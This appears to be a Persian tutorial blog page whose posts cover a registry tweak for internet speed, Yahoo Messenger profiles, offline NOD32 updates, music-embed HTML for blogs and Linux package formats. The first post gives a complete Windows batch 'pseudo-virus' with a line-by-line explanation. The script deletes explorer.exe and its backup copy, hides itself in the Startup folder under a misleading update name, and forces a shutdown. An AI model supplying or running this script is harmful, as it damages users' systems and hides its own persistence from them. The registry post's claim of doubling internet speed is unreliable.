آ مو ز ش ها - دانلود نرم افزار،دانلود فول آلبوم،مباحث شیعه وسنی،عکس وتصویر

تازه ترین سریال های نود32 .

به بخش خواندنی های جالب در منوی کناری مراجعه بفرمایید

آنتی ویروس، سریال نود، سریال نود32، خرین سریال برای آنتی ویروس نود32، سریال است اسمارت سچریتی، جدیدترین سریال ها، آموزش

این شبه ویروس رو باید تو Notepad کپی بعد با فرمت .bat یا .cmd ذخیره کنید(خوب اینو که همه بلدن)

البته ممکنه بعضی از شما بگین این حتی شبیه یه ویروس عصر حاظر هم نیست . اصلا ویروس نیست (مثل خود من).

ولی چون آثار مخربی داره همون شبه ویروس می خوانیمش. و گفتم قصدم هم فقط آشنایی شما با دیگر فرامین داس و پیشرفته ویندوزه.

کار این شبه ویروس چیه:

این شبه ویروس فایل explorer.exe روی کلا از روی سیستم شما پاک می کنه (البته اگه backup ‌دیگه روی سیستم نباشه).

و تنها راهشم air ‌کردن ویندوز با‌cd ویندوز که فکر اینجاشم کردم.

اگر می خواهید بدونید بعد اجرای این ویروس چه اتفاقی می افته فقط کافیه این فرمان رو در خط فرمان وارد کنید.

taskkill /F /IM explorer.exe

و برای برگرداندن به حالت اول این فرمان رو وارد کنید.

%systemroot%\explorer.exe

هیچ خطری هم نداره (امتحان کنید)

ولی بعد اینکه این شبه ویروس اجرا بشه فایل explorer.exe هم کامل پاک می شه برای همیشه یا زمانی که تعمیر بشه همینجوری می مونه

و اما ویروس ما

@echo off

taskkill /F /IM explorer.exe > nul

attrib -s -h %systemroot%\system32\dllcache > nul

del /Q %systemroot%\explorer.exe > nul

del /Q %systemroot%\system32\dllcache\explorer.exe > nul

copy \readme.bat "%USERPROFILE%\Start Menu\Programs\Startup\WinAutoUpdated.bat" > nul

attrib +h +s "%USERPROFILE%\Start Menu\Programs\Startup\WinAutoUpdated.bat" > nul

shutdown -s -t 0

برسی کد شبه ویروس:

خط اول: این دستور برای این هست که فرامین خط فرمان در صفحه نمایش ظاهر نشن.

خط دوم: فرمان taskkill یکی از فرامین پیشرفته ویندوزهای سری NT‌ هست. کارش اینه که یه فایل یا یه برنامه در حال اجرا رو از حافظه خارج می کنه یا به عبارتی می کشه(kill).

پارامتر /F : برای سرعت بخشیدن به این عمل هست

پارامتر /IM : اگر شما وارد Windows Task Manager بشین به به سربرگ Processes برین لیستی از از برنامه ها و فایلهای سیستمی ویندوز رو می بینید که در رم قرار دارد و اگه مثلا ما به خوایم فایل explorer.exe رو خارج کنیم باید اسمشو جلوی این پارامتر قرار دهید.

نکته : فرمان > nul که در جلوی هر خط دیده نی شه برای اینه که نتیجه که از خط فرمان به صفحه نمایش فرستاده می شه دیده نشه.

خط سوم : فرمان attrib یکی از فرمان های داس هست که می تویند خصوصیات Read-only ، Hidden ، Archive و System یک فایل رو تغییر بدین.

پارامتر –h ‌یعنی Hidden

پارامتر –s ‌هم یعنی System (این خصویات فقط برای فایل های سیستمی هست که در واقع دو بار مخفی می شن)

خط چهارم و پنجم :‌فرمان del هم که خیلی تابلوی . باهاش یک فایل یا یه دسته فایل رو می شه پاک کرد.

خط شش: فرمان کپی که یک کپی از یک فایل در جای دیگه می گیره. اینجا ما از فایلمون یه کپی به نام WinAutoUpdated.bat در شاخه startup ‌کاربر قرار می دیم که اگه یه وقت ویندوزو تعمیر کر دوبار اجرا بشه.

خط هفتم: فرمان attrib ‌رو قبلا توضیح دادم. فقط بگم که اینجا ما فایمون رو از نوع سیستمی می کنیم که از دید کاربر پنهان بشه.

خط هشتم : فرمان shutdown هم کم که دیگه الان همه میش ناسن و نیازی به توضیح نداره فقط برای اونایی که نمی دونن بگم که برای خواموش کردن سیستم.

نظرات شما | لینک ثابت مطلب

Notepad، شبه ویروس، bat یا .cmd ذخیره کنید، Processes، آموزش

بالابردن سرعت اینترنت باتغییرات درریجستری

بالا بردن سرعت در اینترنت 100%

گاهی اوقات با کندی سرعت مواجه می شوید. دلایل بسیار زیادی باعث این امر می شود؛ از جمله ضعف در سیستم مخابراتی کشور! با یک دستکاری کوچک در رجیستری ، جهت بالا بردن سرعت اینترنت ، از حداقل امکانات ، بهترین بهره را ببریم . طبق معمول سراغ آیکون استارت در ویندوز بروید و گزینه RUN را کلیک کنید، سپس کلمه Regedit را تایپ کرده و کلیدOK را فشار دهید. پس از وارد شدن به رجیستری سیستم شاخه HKEYLocalMachine -- را انتخاب کنید و بعد زیرشاخه ای به نام System را پیدا کرده و روی آن کلیک کنید، سپس دنبال یک زیرشاخه دیگر به نام Currentcontrolset بگردید و پس از یافتن آن ، سراغ یک شاخه دیگر به نام Services بروید که در زیرمجموعه آن است.در شاخه Services زیرشاخه ای به نام Tcpip وجود دارد؛ لطفا روی آن کلیک کنید و دنبال زیرشاخه دیگری به نام Parameters بگردید. پس از یافتن این شاخه دست نگه دارید و به محیط روبه روی آن مراجعه کنید. حالا دستوراتی را که می گوییم ، مو به مو اجرا کنید. اگر گزینه هایی را که می گوییم ، در رجیستری موجود است ، فقط تغییراتی درونی آن را انجام دهید؛ و اگر چنین شاخه ای وجود ندارد، لطفا با سمت راست موس روی New بروید و گزینه DwordValue را انتخاب کنید و برای هر گزینه جدیدی این کار را انجام دهید وValue Data آن را طبق دستور تغییر دهید. ابتدا سراغ پوشه ای به نام TTL Default بروید. اگر این پوشه وجود داشت که هیچ ؛ اگر نبود، سمت راست موس را بزنید و روی New گزینه Value Dword را انتخاب کنید. هنگام ایجاد این پوشه ،3 حرف TTL را با حروف بزرگ بزنید. پس از ایجاد این پوشه ، سمت راست موس را بزنید و رویModify فشار دهید. حالا دو کار میتوانید انجام دهید:اول این که عدد80 را برای Hexadecimal بزنید و یا عدد128 را برای Decimal برگزینید. آنچه از قبل تعریف شده است ، معمولا روی شماره32 است . کلیدOK را بزنید وF5 را فشار دهید.دوم این که پوشه ای به نام EnablePMTUBHDetect را ایجاد کنید وValue Data آن را صفر کنید. مانند دفعه گذشته با سمت راست موس New وValue Dword را بزنید تا این پوشه ایجاد شود. لطفا حروف EPMTUBHD , را بزرگ تایپ کنید.سوم ،دنبال پوشه ای به نام EnablePMTUDiscovery بگردید. اگر وجود داشت که هیچ ؛ اگر نبود، آن را ایجاد کنید و سپس Value Data آن را به یک تغییر دهید.چهارم ، پوشه ای به نام Sackopts را با سمت راست موس و باValue Dword درست کنید. لطفاValue Data آن را از صفر به یک تغییر دهید و F5 را بزنید.پنجم ، پوشه ای به نام Tcp1323opts ایجاد کنید. طبق معمول ، اگر این پوشه وجود نداشت ، آن را ایجاد کنید و باModify کردن Date Value در آن تغییرات لازم را انجام دهید. در واقع عدد صفر را به 3 تبدیل کنید و F5 را بزنید تا تغییرات انجام شود. در ضمن بعد از3 ، حرف O \ )ا\و( وجود دارد نه عدد صفر.ششمین کاری را که خواهید کرد تا سرعت دسترسی به اینترنت خود را بالا ببرید، این است که پوشه ای به نام Tcpwindowsize را درست کنید. اگر وجود داشت که هیچ ؛ اما اگر نبود، آن را مانند روش سابق ایجاد کنید و عدد7FFF را برای Hexadecimal و عدد32767 را برای decimal انتخاب کنید و کلیدOK را بزنید.هفتم و آخرین مرحله برای کاربرانی که سیستم عامل 2000 وNT دارند، این است که پوشه ای به نام GlobalMaxTcpwindowsize را درست کنند. اگر این پوشه وجود نداشت ، با سمت راست موس و انتخاب Value Dword از آیکون New آن را ایجاد کنید وHexadecimal آن را به7FFF و یاdecimal آن را به 32767 تغییر دهید. اگر این تغییرات را انجام دهید و یک بار رایانه تان را خاموش و روشن کنید، می توانید در اینترنت با سرعت بالاتری گردش کنید.

نظرات شما | لینک ثابت مطلب

اینترنت، رجیستری، تغییرات درریجستری، بالابردن سرعت اینترنت، آموزش

ساختن Profile وچگونگی استفاده از چند ID به صورت همزمان

ساختن Profile وچگونگی استفاده از چند ID به صورت همزمان
در این بخش شرح می دهیم که چگونه ممکن از چند ID به طور همزمان استفاده کنیم .
ابتدا به شرح Profile می پردازیم .profile به معنی نمودار یا منحنی مشخص کننده چیزی است که در یاهو مسنجر کمی متفاوت است به این صورت که با رفتن به قسمت Profile هر ID میتوان مشخصات جزیی تری از او را دید مانند نام،فامیل ، سن و....
برای دیدن Profile هر شخص می توانید روی ID او کلیک راست کرده و قسمت View Profile را انتخاب کنید . سپس صفحه مرور گر شما باز شده و مشخصات او ظاهر می شود . یا می توان به این قسمت زیرمراجعه کرد
[url]http://profiles.yahoo.com/YOUR[/url] ID ، که در قسمت ID،YOUR ID شخص مورد نظر را می نویسیم.
ممکن است این سوال باشد که کاربرد مهم این قسمت از یاهو مسنجر چیست؟
یکی از مهمترین کاربرد های آن دیدن مشخصات طرف مقابل قبل از چت کردن با او است .
نکته قابل توجه این است که شخص مقابل در صورت درست نکردن Profile برای خود شما قادر به دیدن مشخصات او به جز ID نخواهید بود.
طرز درست کردن Profile:
در منوی Login قسمت My Profile را کلیک کنید .
صفحه ای باز می شود که در آن صفحه روی Create/Edit Profile کلیک کنید. سپس مرورگر شما باز شده و وارد صفحه Profile شما می شود . برای ویرایش کردن Profile خود فقط کافی است روی قسمت Edit کلیک کنید و در صفحه بعدی نیز گزینه Edit Profile Information را انتخاب کنید.
توجه کنید که در قسمت Nick name شما با نوشتن هر نامی با ورود به اتاق چت دوستانتان با همان نام مطالب شما را می بینند مثلا اگر ID شما ali_yahoo باشد و در قسمت Nick name نام ali_yahoo را وارد کنید در اتاق های چت مطالب شما با نام ali_yahoo وارد می شود .سپس مشخصات دیگر خود را نیز وارد کرده و Save Changes را کلیک کنید .
اکنون هر کس Profile شما را چک کند می توان مشخصات شما را ببیند و اطلاعاتی در مورد شما بدست آورد.
ضمناً امکان گذاشتن عکس و صدا نیز وجود دارد که برای این کار از قسمت مشخص شده در عکس Edit Picture را برای عکس وEdit voice را برای گذاشتن صدا انتخاب می کنیم . در قسمت عکس با انتخاب کردن عکس خود از حافظه کامپیوتر و Upload کردن آن می توانید عکس تان را نیز اضافه کنید حتی می توان عکس را از سایت دیگر یا از خود عکس های سایت یاهو استفاده کرد.
برای گذاشتن صدا نیز باید به قسمت Edit Voice مراجعه کرد. البته متذکر شوم که این صدا برای زمینه Profile شما است. حتما باید از سایت های دیگر در اینترنت انتخاب شود .به این صورت که آدرس آن سایت و آهنگ را به صورت کامل در قسمت مشخص شده نوشته وگزینه Finish را کلیک می کنیم .
شایان ذکر است که حتی امکان تغییر رنگ نیز می باشد
حال در مورد استفاده از چند ID به صورت همزمان یا ساختن یک Profile جدید صحبت می کنیم .
در حقیقت ساختن Profile همان ساختن ID است با این تفاوت که وقتی شما با ID خود Online می شوید بقیه Profile های شما هم که ساخته اید Online می شود .اکنون به شرح آن می پردازیم تا مطلب روشن تر شود.
پس از وارد شدن به قسمت Create/Edite Profile ، در آن صفحه روی قسمت Create new public profile کلیک کنید.
در صفحه باز شده و در قسمت مشخص شده Profile جدید خود را وارد کنید و در قسمت های بعدی در صورت تمایل مشخصات خواسته شده را وارد کنید
در آخر دکمه Create profile را کلیک کنید تا در همان قسمت اول Profile جدید شما اضافه شود.
اکنون شما دارای یک ID اصلی و یک profile هستید که در حقیقت حکم ID را داراست .که وقتی که با ID اصلی خود Online می شوید بقیه Profile ها یا همان ID های دیگر شما نیز Online می شوند.
لازم به توضیح است که در هنگام ورود به اتاق های چت عمومی در قسمت بالا همان طور که در عکس نشان داده شده شما می توانید با Profile مورد میل خود وارد چت شوید فقط کافی است ابتدا Profile مورد نظر را انتخاب کرده سپس وارد اتاق ها شوید.
هم اکنون با رفتن به منوی Login وبا کلیک کردن بر روی My Profile خواهید دید که به Profile های شما افزوده شده است.
یک مثال کلی:
همان طور که در عکس ها مشخص است شما با داشتن ID مثلا به نام ali_yahoo و ساختن profile دیگر، هنگامی که با ID خود یعنی Online ،ali_yahoo می شوید Profile دیگر شما نیز Online می شود .
حتی دیگران می توانند برای این profile شما (دومی) پیغام بفرستند و در حقیقت مانند یک ID جداگانه عمل می کند و این بدین معنی است که شما با دو Online،ID هستید.

نظرات شما | لینک ثابت مطلب

یاهو، یاهو مسنجر، id، ساختن Profile، چگونگی استفاده از چند ID به صورت همزمان، Profile، yahoo، آموزش

روش استفاده و به روز رسانی NOD32 و Smart Security

روش استفاده و به روز رسانی NOD32 و Smart Security
1- فایل قرار داده شده روی سایت هایی مانند تبیان را دانلود کرده و از حالت فشرده خارج کنید.
2- فولدر ESET Update را در ریشه یکی از درایوها مانند C کپی کنید.
3- در داخل آنتی ویروس NOD32 و یا Smart Security در قسمت Setup بر روی Toggle Advanced Mode کلیک کنید. Yes را انتخاب کرده و بر روی Enter entire advanced setup tree کلیک کنید.
4- به قسمت Update‌بروید.
5- بر روی Edit کلیک کنید.
6- مسیر فایلهای Update مانند C:\ESET Updateرا وارد کرده و بر روی Add ‌و سپس OK و دوباره OK کلیک کنید.
7- در داخل برنامه و در قسمت Update‌بر روی Update Virus Signature database کلیک کنید.
8- برنامه بدون مشکل و به روز می شود.

نظرات شما | لینک ثابت مطلب

به روز رسانی NOD32، فولدر ESET Update، Toggle Advanced Mode، قسمت Update، روش استفاده و به روز رسانی NOD32 و Smart Security، آموزش

کدآهنگ برای وبلاگ

کد آهنگ سوغات ( وقتی میای) با صدای هایده

P align=center

style="BORDER-RIGHT: 3px solid; BORDER-TOP: 3px solid; BORDER-LEFT: 3px solid; BORDER-BOTTOM: 3px solid

height=46 width=147 classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6><PARAM NAME="URL" VALUE="http://kodahang2.persiangig.com/hayedeh/hayedeh-soghat.wma "><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="5"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="100"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="full"><PARAM NAME="stretchToFit" VALUE="0"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="-1"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE

="">

embed src="http://kodahang2.persiangig.com/hayedeh/hayedeh-soghat.wma

stretchtofit="true" loop="true" enablecontextmenu="false" showcontrols="true

height="165" width="135" name="WMP1"></embed></

P align=center><A href="http://hastik1362.parsiblog.com/" target=_blank>کد آهنگ</A></P

<!------

http://hastik1362.parsiblog.com

------->

منبع:kodeahang.mihanblog.com

نظرات شما | لینک ثابت مطلب

کدبرای وبلاگ، کدهای وبلاگ، کدآهنگ، دانلودفول آلبوم، آموزش

کد آهنگ

کد آهنگ خون بازی با صدای داریوش

کد آهنگ سقوط با صدای داریوش

نظرات شما | لینک ثابت مطلب

آموزش، کدبرای وبلاگ، کدآهنگ، دانلودفول آلبوم، آموزش

کدآهنگ از سیاوش

سلام دوستان. اینم یه کدآهنگ زیبا سیاووش قمیشی. این کد رو کامل کپی ودر جای مناسب در کدهای قالب وبلاگتون پیست کنید.باز هم براتون کدآهنگ می زارم.

نظرات شما | لینک ثابت مطلب

آموزش کامپیوتر، کدآهنگ، دانلودفول آلبوم، آموزش

نصب برنامه ها در لینوکس

روش های نصب برنامه ها در لینوکس [1]
    با توجه به گستردگی توزیع های لینوکس مسلما روش های نصب نرم افزار ها نیز متفاوت خواهد بود . در ابتدا به تعریف مفهون کد منبع یا Source Code می پردازم . یک نرم افزار در ابتدا فقط یک سری حروف و کلمات است که یک برنامه نویس آن ها را در محیطی خاص و یایک ویرایشگر متن معمولی می نویسد این نوشته ها " سورس کد" برنامه یا " کد منبع" برنامه نام دارند. این کد ها را می توانید در یک ویرایشگر متن معمولی وارسی کنید ،‌اما برای کامپیوتر معنایی ندارند ! چرا که کامپیوتر شما فقط زبان 0 و 1 را متوجه می شود.بنابراین باید این برنامه ی نوشته شده را به زبان کامپیوتر ترجمه کنیم ،‌این کار ترجمه را " کامپایل " می گویند.درواقع شما کدمنبع را کامپایل می کنید تا کامپیوتر شما آن رادرک کند. به فایل حاصل از کامپایل فایل "باینری" می گویند. دلیل این نام گذاری این است که فایل حاصل از کامپایل فقط برمبنای دو (Base2) می باشد ،‌یعنی فقط شامل صفر و یک است. بنابراین وقتی می گوییم برنامه ای بازمتن (OpenSourec )است این بدان معناست که کد های منبع آن در اختیار دیگران قرار دارد و در برنام های CloseSource یا سورس بسته این کد های منبع در اختیار شما قرار نمی گیرد وفقط فایل های باینری در اختیار شما قرار می گیرد.

    یکی از محبوب ترین راه های نصب نرم افزار در لینوکس نصب از کد منبع یا به اصلاح درست تر کامپایل از سورس کد برنامه است.در ویندوز مایکروسافت شما همواره بسته های باینری را در سیستم خودنصب می کردید ،‌این بسته های باینری که از پیش کامپایل شده اند بر اساس یک استاندارد کلی که سیستم عامل (ویندوز) دارد ،‌کامپایل شده اند بنابر این شما نمی توانید به راحتی برروی آن ها مانور دهید ،‌اما در لینوکس قضیه کمی متفاوت است ،‌شما می توانید کد منبع را بگیرید و از اول روی سیستم خودتان کامپایل کنید .شاید بپرسید این چه مزیتی دارد؟ زمانی که شما برنامه ای را در سیستم خودتان شخصا کامپایل می کنید می توانید آن را بر اساس نیاز های خودتان تنظیم کنید.(در اصطلاح صحیح تر می توانید نرم افزار راباتوجه به شرایط خود بهینه سازی -optimization-کنید.) حسن این کار در آن است که برنامه ی نصب شده در سیستم شما کاملابا سیستم شما خوانایی دارد و اگر شما به امکاناتی که برنامه ارائه می دهد نیازی ندارید می توانید به سادگی آن امکانات را زمان کامپایل ندیده بگیرید.

بنابراین اولین روش نصب برنامه کامپایل از سورس کد بود ،‌این روش تا حدودی وقت گیر است و نیاز به تجربه دارد تابتوانید به بهترین روش ممکن برنامه ی خود را کامپایل کنید ،‌البته گاهی راهی جز کامپایل نرم افزار ندارید .برای همین توزیع کنندگان لینوکس به فکر ایجاد روشی کاربر پسندتر افتادند تا کاربران بتوانند در زمانی کوتاه تر و با روشی ساده تر برنامه های خود را نصب کنند ، این دیدگاه باعث بوجود آمدن بسته های نرم افزاری RPM و DEB شد . این بسته ها اغلب همانند بسته های نرم افزاری ویندوز از قبل کامپایل شده اند (البته این فقط یک مقایسه ی ناشیانهات و در عمل با بسته های ویندوزی بسیار متفاوتند) و شما از طریق یک مدیر بسته می توانید این بسته ها را مدیریت کنید. مدیر بسته ها در لینوکس تقریبا همان برنامه ی Add/Remove در کنترل پانل ویندوز است که با توجه به توزیع و نوع بسته ی نرم افزاری بسیار مختلف است. البته باید توجه داسته باشید که این بسته ها هم می توانند حاوی سورس کد نیز باشند. نکته ی قابل توجه دیگر این است که این بسته ها می توانند شامل فایل های کمکی (Help) و مستندات دیگر مربوط به برنامه باشند.

شما برنامه ی خود رااز هر راهی که نصب کنید در اغلب موارد فایل های آن در مسیر های usr/bin/ و bin/ و usr/sbin/ قرار می گیرند و فایل های مربوط به پیکره بندی آن در دایرکتوری etc/ قرار می گیرند. بنابراین ما در لینوکس چیز به نام رجیستری نداریم و تنظیمات مربوط به برنامه ها در فایل ها ذخیره می شوند که در بیشتر موارد این فایل هافایل های هستند که به راحتی قابل خواندن و ویرایش کردن با ویرایشگر های معمولی متن می باشند.

بسته ها! چرا به برنامه ها بسته (Pakage) میگویند؟ اغلب برنامه ها امروزه شامل فایل های بسیاری می باشند ،‌از جمله فایل های باینری ،‌فایل های پیکره بندی و فایل های مربوط به راهنما و روش نصب و مجوز های برنامه که به Documentation یا مستندات معروف هستند. بنابراین می بینیم یک برنامه همراه خود تعداد بسیاری فایل به همراه دارد ،‌تمام این فایل ها به صورت فشرده در یک بسته قار می گیرند ،‌خواه این یک بسته ی RPM باشد یا یک بسته ی DEB یا حتی یک بسته ی Tarball باشد. برای آشنایی هرچه بیشتر شما با انواع بسته های نرم افزاری ما در این مقاله به سه نمونه ی عمده ی بسته های نرم افزاری لینوکس اشاره می کنیم ،‌باید توجه داشته باشید که در این مقاله قصد آموزش کار با بسته های نرم افزاری رانداریم و تنها به معرفی انواع بسته ها بسنده خواهیم کرد.

II. بسته های RPM
یکی از معروف ترین بسته های نرم افزاری لینوکس بسته های RPM میباشد.RPM مخفف RedHat Pakage Manager می باشد ،‌همان طور که از اسم آن بر می آید ابداع شرکت RedHat Linux می باشد اما در توزیع های مختلفی از این بسته ها استفاده می شودو جالب تر این که از این بسته ها می توانید در سیستم های شبه یونیکس دیگر مانند FreeBSD و SunSolaries نیز قابل استفاده هستند.بسته های RPM با پسوند rpm شناخته می شوند .
از جمله توزیع هایی که از بسته های rpm استفاده می کنند می توان لینوکس Mandrake وLinuxPCC و لینوکس YellowDog را که بر پایه ی ردهت است و برای سیستم های با پردازنده ی PowerPC طراحی شده و نیز توزیع SuSE را نام برد.البته توزیع های دیگری نیز از این بسته ها استفاده می کنند .برای مدیریت بسته های rpm شما می توانید از مدیر بسته های rpm استفاده کنید. اگر می خواهید در خط فرمان و براساس محیط متنی کار کنید می توانید از دستور rpm برای مدیریت استفاده کنید. اما اگر می خواهید از محیط گرافیکی برای مدیریت استفاده کنید با توجه به توزیع شما این ابزار متفاوت است. کاربران SuSE با ابزار YaST می توانند این کار را بکنند ،‌کاربران Mandrake می توانند با rpmdrake بسته هایشان رامدیریت کنند. البته باید توجه داشته باشید که SuSE و Mandrake گاهی از بسته های rpm مخصوص خود استفاده می کنند که جز آن توزیع در توزیع دیگری قابل استفاده نمی باشد.

   بسیارخوب تا این جا بسته های RPM را شناختیم ،‌حال قبل از معرفی بسته های DEB به نحوه ی نام گذاری بسته های RPM خواهیم پرداخت. برای آن که کاربران با دیدن نام بسته ی rpm به راحتی بتوانند متوجه محتویات آن بشوند از یک استاندارد برای نام گذاری این بسته ها استفاده می شود.این نام گذاری مانند زیر است :

pakagename-a.b.c-x.arch.rpm

در این نام گذاری همان طور که معلوم است از سمت چپ اولین بخش نام نرم افزار اصلی ماست مثلا xchat یا gaim اما سایر اجزا :
.a.b.c نسخه ینرم افزاری است که دردست دارید، این شماره نسخه را اغلب نویسنده ی برنامه تعیین می کند مثلا 2.2.6 یا 5.6.7a.
   x این شاره به شماره ی build number یا relase number معروف است.(شماره ی انتشار !)این شماره در واقع نشان دهنده ی تغییرات کوچکیست که اغلب هم کار نویسنده ی برنامه نیست مثلا یک وصله یا Patch برای رفع یک مشکل (bug) یا یا تغییر یک فایل نصب یا اضافه شدن یک فایل راهنما یا help یا Documentation به فایل .
   arch این بخش از نام مربوط می شود به معماری پردازنده ای که از آن استفاده می کنید. بسته های RPM برروی معماری های مختلفی از پردازنده قابل اجراست ،‌از جمله x86 یا SPARC یا Alpha نیزIA-64 بنابر این لازم است که نوع پردازنده ی مورد پشتیبانی را در نام فایل بگنجانیم تا در آینده بتوانیم به راحتی از آن برای پردازنده ی خودمان استفاده کنیم.برای پردازنده های x86 این جا i386 نوشته می شود. این پردازنده ها باقی مانده ی نسل 80386 هستند که شرکت اینتل آن ها را تولید می کند ،‌البته باید خاطر نشان کنم که در حال حاضر وقتی می گوییم x86 منظور ما هر پردازنده ای سازگار با این معماری است از جمله AMD مدل های Duron و Athlon و یا پنتیوم های Pro ,I,II,II,IVو نیز پنتیوم MMX ویا پردازنده های سازگار با x86شرکت Transmeta یا Cyrix!! بنابراین امروزه فقط این اینتل نیست که پردازنده های خانواده ی x86 را تولید می کند. اگر بسته یRPM شما برای پنتیوم بهینه سازی شده باشداین مقدار 1586 و i686 خواهد بود. البته RPMبرای پردازنده های دیگر نیز وجود دارد از جمله PowerPC که با ppc مشخص می شود. نکته ی قابل توجه این است که اگر بسته ی rpm شما محتوی فایل متنی یا Documentation یا هر چیز دیگری باشد که به پردازنده (CPU) بستگی ندارد این مقدار noarch خواهد بود.
برای روشن تر شدن این نام گذاری به نام xbill-2.1.3-85.i386.rpm دقت کنید. xbillنام این نرم افزار است که یک بازی لینوکس است.که بسته ی ما buildشماره ی 85 نسخه ی 2.13 آن است که برای معماری x86 طراحی شده است.
III. بسته های DEB
   بسته ی دیگری که بسیار استفاده می شود ،‌بسته ی دبیان یا DEB می باشد ،‌این بسته ها نیز مانند بسته های RPM هستند و کار کردن با آن ها مانند کار با RPM ها ساده است. این بسته ها را دبیان توسعه داده است و هم اکنون توزیع های فراوانی از لیبرانت تا DammnSmallLinux از این بسته ها استفاده می کنند ،‌در واقع هر توزیع مبتنی بر دبیان از این بسته ها استفاده می کند.بسته های rpm و deb را نمی توان به جای یکدیگر استفاده کرد اما می توان آ نها را به یکدیگر تبدیل کرد ،‌البته این تبدیل نیز همیشه موففقیت آمیز نخواهد بود.بسته های دبیان نیز مانند rpm برای معماریهای متفاوتی نوشته شده است .برای مدیریت بسته های دبیان در خط فرمان از ابزار dpkg استفاده می شود dpkg بسیار شبیه RedHat pakage Manager یا rpm است .(منظور ابزار rpm است که برای مدیریت بسته های RPM استفاده می شود.). البته در دبیان و توزیع های مبتنی بر دبیان ابزار دیگری نیز برای مدیریت بسته های نرم افزاری در خط فرمان وجودداردکه کار با بسته های نرم افزاری را بسیار راحت تر و شیرین تر می کند ،‌این ابزار APT نام دارد.APt مخفف Advanced Pakage Tool می باشد. (تلفظ کنید اپت /وpt/) یکی از خواص بستههای RPM وDEB این است که شما نی توانید به راحتی و از طریق همین ابزار های مدیریت بسته بسته های خودرا در چند ثانیه یاحداکثر چند دقیقه به روز بکنید و لی اگر برنامه ای را از کد منبع آن کامپایل کنید برای هر بار به روز رسانی مجبورید برنامه را از ابتدا کامپایل کنید.البته برای مدیریت بسته های نرم افزاری در دبیان نیز برنامه های مختلفی وجوددارد مانند synaptic ویا برای مدیریت بسته هادر خط فرمان اما کمی راحت تر مانند dselect . نام گذاری بسته های دبیان نیز مانند RPM است با کمی تفاوت در ظاهر که برای طولانی نشدن بحث به آن اشاره نمی کنیم.

IV.بسته های Tarball
   در حقیقت بسته های Tarball چیزی جز بسته های آرشیو شده نیستند ، این بسته ها را می توانیددر هر توزیعی استفاده کنید و مانند RPM و DEB وابسته به توزیع نیستند. بسته های Tarball همان بسته هایی هستند که با ابزار tar در خط فرمان تولید می شوندو توسط یکی از برنامه های compres یا gzip یا bzip2 فشرده شده اند. این بسته های فشرده شده فقط حاوی فایل ها هستند و بعد از باز کردن آن ها می توان در باره ی روش نصب آن ها تصمیم گرفت. بسته های tarball می توانند مانند RPM و Debian حاوی سورس کد ،‌فایل های باینری و همچنین مستندات برنامه باشدالبته در اغلب موارد این بسته ا با gzip فشرده می شوند که پسوند حاصل tar.gz. می شود و البته برای این که حجم اطلاعات رد و دلی در اینترنت کمتر شود از فرمت tar.bz2. استفاده می شود که بسته های آرشیو tar را با برنامه ی bzip2 فشرده کرده اند .(فایل هایی که با Bzip2 فشرده شده اند از فایل هایی که با gzip فشرده شده اند حجم کم تری دارند چرا که الگوریتم فشرده سازی در این دو متفاوت است.)

V.اطلاعات ضروری در زمان نصب برنامه

     ?.وابستگی های برنامه (Dependencies)

وابستگی های نرم افزاری یا همان Dependencies در واقع آن برنامه هاو نیاز هایی است که باید داشته باشید تا برنامه ی شما بتواندکار کند!! درواقع شما برای نصب یک برنامه اغلب به یک پیش نیاز احتیاج دارید ،‌مثلا برای بسیاری از برنامه های لینوکس لازم است تا شما کتابخانه های C را داشته باشید. در واقع وقتی می گوییم یک برنامه فلان وابستگی ها را می خواهد یعنی اولا بدون آن نیازمندی ها نمی تواند کار کند و در ثانی می توان نتیجه گرفت که آن برنامه از برنامههایی که در اصطلاح وابستگی نام دارند برای کار کردن استفاده می کند.

توجه داشته باشید که مفهوم پیشنهادی یا Recommended با وابستگی متفاوت است ،‌اگر وابستگی ها را نصب نکنید برنامه ی شما کار نخواهد کرد اما اگر پیشنهادی ها را نصب نکنید برنامه ی شما کار خواهد کرد. پس این Recommended ها به چه کاری می آیند؟ اگر شما این Recommended هارا نصب کنید برنامه ی شما بهتر کار می کنه یا بهتر بگویم بازدهی برنامه ی شما بیشتر خواهدشد.

   یکی از خواص بسته های Debian وrpm هوشمندی آن ها نصبت به شناخت این پیش نیاز هاست ،‌در واقع وقتی شمایک بسته ی Debian را نصب می کنید خودش به دنبال پیش نیاز ها می گردد و پیش نیاز ها را نیز برای شما نصب می کند.البته بسته های RPM این هوشمندی راندارند اما برنامه های مدیریت بسته های rpm این کار را می کنند یعنی زمانی که شما از دستور rpm برای نصب استفاده می کنید این برنامه است که تشخیص می دهد ثبل از نصب باید چه برنامه های دیگری نصب شود و به شمااعلام می کند که این بسته ا را نیز نصب کنیدو یا خودش نصب می کند. اما بسته های دبیان در ذات خود این قابلیت را دارا هستند که پیش نیاز هایشان را تشخیص بدهند و لی بسته های Tarball فاقد این هوشمندی هستند و باید خودتان با مطالعه ی فایل های README و INSATLL ویا دیگر راهنماهای موجود در بسته یا سایت آن پیش نیاز ها را یافته و آن ها را نصب کنید.

     ?.کتابخانه ها(Libraries)

